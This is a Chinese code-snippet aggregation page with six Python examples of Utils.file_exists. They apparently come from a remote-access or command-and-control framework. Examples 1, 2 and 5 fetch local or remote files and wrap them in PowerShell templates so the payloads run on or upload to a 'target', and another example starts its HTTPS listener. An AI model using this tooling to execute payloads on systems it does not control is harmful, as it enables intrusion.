本文整理汇总了Python中core.utils.Utils.file_exists方法的典型用法代码示例。如果您正苦于以下问题:Python Utils.file_exists方法的具体用法?Python Utils.file_exists怎么用?Python Utils.file_exists使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类core.utils.Utils
的用法示例。
在下文中一共展示了Utils.file_exists方法的6个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: exec_code
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import file_exists [as 别名]
def exec_code(self, data):
try:
cmd, path = data.split(" ", 1)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("exec.ps1", 12)
ps = Utils.update_key(ps, "PAYLOAD", data)
UI.success("Payload should be executed shortly on the target")
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例2: upload_file
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import file_exists [as 别名]
def upload_file(self, data):
try:
cmd, path, remote = data.split(" ", 2)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("upload.ps1", 3)
ps = Utils.update_key(ps, "PAYLOAD", data)
ps = Utils.update_key(ps, "PATH", remote)
UI.success("Payload will be saved at %s" % path)
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例3: view_event
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import file_exists [as 别名]
def view_event(self, data):
log_path = Utils.get_arg_at(data, 1, 2)
if log_path == "":
UI.error("Missing arguments")
return
log_path += ".log"
rows = Utils.get_arg_at(data, 2, 2)
if rows == "":
rows = 10
else:
try:
rows = int(rows)
except:
rows = 10
log_path = Log.get_current_path(log_path)
data = []
if Utils.file_exists(log_path):
for line in open(log_path, "rb").readlines():
data.append(line)
print "\nLast %d lines of log\n-----------------------\n" % rows
data = list(reversed(data))
for i in range(0, rows):
try:
print data[i]
except:
pass
示例4: start_httpd
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import file_exists [as 别名]
def start_httpd(config):
ip = config.get("http-host")
port = int(config.get("http-port"))
UI.success("Starting web server on %s port %d" % (ip, port))
server_class = BaseHTTPServer.HTTPServer
factory = HTTPDFactory(config)
httpd_server = server_class((ip, port), factory)
if config.get("https-enabled") == "on":
cert = config.get("https-cert-path")
Utils.file_exists(cert, True)
httpd_server.socket = ssl.wrap_socket(httpd_server.socket, certfile=cert)
UI.success("Web server is using HTTPS")
httpd_server.serve_forever()
示例5: fetch
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import file_exists [as 别名]
def fetch(self, data):
try:
cmd, path, ps = data.split(" ", 2)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
UI.success("Executing %s" % ps)
return "%s;%s" % (data, ps)
else:
UI.error("Cannot fetch the resource")
return ""
示例6: create_folder_tree
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import file_exists [as 别名]
def create_folder_tree():
path = Log.get_current_path("")
if not Utils.file_exists(path, False, False):
Utils.create_folder_tree(path)
return path